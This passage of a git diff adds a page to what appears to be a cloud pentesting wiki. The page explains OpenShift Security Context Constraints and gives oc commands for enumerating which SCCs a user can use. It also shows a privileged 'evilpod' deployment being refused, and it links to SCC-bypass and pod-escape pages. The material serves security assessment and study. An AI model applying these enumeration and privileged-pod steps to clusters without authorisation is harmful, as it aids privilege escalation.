TektonConfig +metadata: + name: config +spec: + ... + ... + platforms: + openshift: + scc: + default: "restricted-v2" + maxAllowed: "privileged" +``` diff --git a/pentesting-cloud/openshift-pentesting/openshift-scc.md b/pentesting-cloud/openshift-pentesting/openshift-scc.md new file mode 100644 index 0000000000..d3684d23b7 --- /dev/null +++ b/pentesting-cloud/openshift-pentesting/openshift-scc.md @@ -0,0 +1,69 @@ +# Openshift - SCC + +**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-c-ab4b9a196/en) + +## Definition + +\ +In the context of OpenShift, SCC stands for **Security Context Constraints**. Security Context Constraints are policies that control permissions for pods running on OpenShift clusters. They define the security parameters under which a pod is allowed to run, including what actions it can perform and what resources it can access. + +SCCs help administrators enforce security policies across the cluster, ensuring that pods are running with appropriate permissions and adhering to organizational security standards. These constraints can specify various aspects of pod security, such as: + +1. Linux capabilities: Limiting the capabilities available to containers, such as the ability to perform privileged actions. +2. SELinux context: Enforcing SELinux contexts for containers, which define how processes interact with resources on the system. +3. Read-only root filesystem: Preventing containers from modifying files in certain directories. +4. Allowed host directories and volumes: Specifying which host directories and volumes a pod can mount. +5. Run as UID/GID: Specifying the user and group IDs under which the container process runs. +6. Network policies: Controlling network access for pods, such as restricting egress traffic. + +By configuring SCCs, administrators can ensure that pods are running with the appropriate level of security isolation and access controls, reducing the risk of security vulnerabilities or unauthorized access within the cluster. + +Basically, every time a pod deployment is requested, an admission process is executed as the following: + +
+ +This additional security layer by default prohibits the creation of privileged pods, mounting of the host file system, or setting any attributes that could lead to privilege escalation. + +{% content-ref url="../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md" %} +[pod-escape-privileges.md](../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md) +{% endcontent-ref %} + +## List SCC + +To list all the SCC with the Openshift Client : + +```bash +$ oc get scc #List all the SCCs + +$ oc auth can-i --list | grep securitycontextconstraints #Which scc user can use + +$ oc describe scc $SCC #Check SCC definitions +``` + +All users have access the default SCC "**restricted**" and "**restricted-v2**" which are the strictest SCCs. + +## Use SCC + +The SCC used for a pod is defined inside an annotation : + +```bash +$ oc get pod MYPOD -o yaml | grep scc + openshift.io/scc: privileged +``` + +When a user has access to multiple SCCs, the system will utilize the one that aligns with the security context values. Otherwise, it will trigger a forbidden error. + +```bash +$ oc apply -f evilpod.yaml #Deploy a privileged pod + Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain +``` + +## SCC Bypass + +{% content-ref url="openshift-privilege-escalation/openshift-scc-bypass.md" %} +[openshift-scc-bypass.md](openshift-privilege-escalation/openshift-scc-bypass.md) +{% endcontent-ref %} + +## References + +* [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)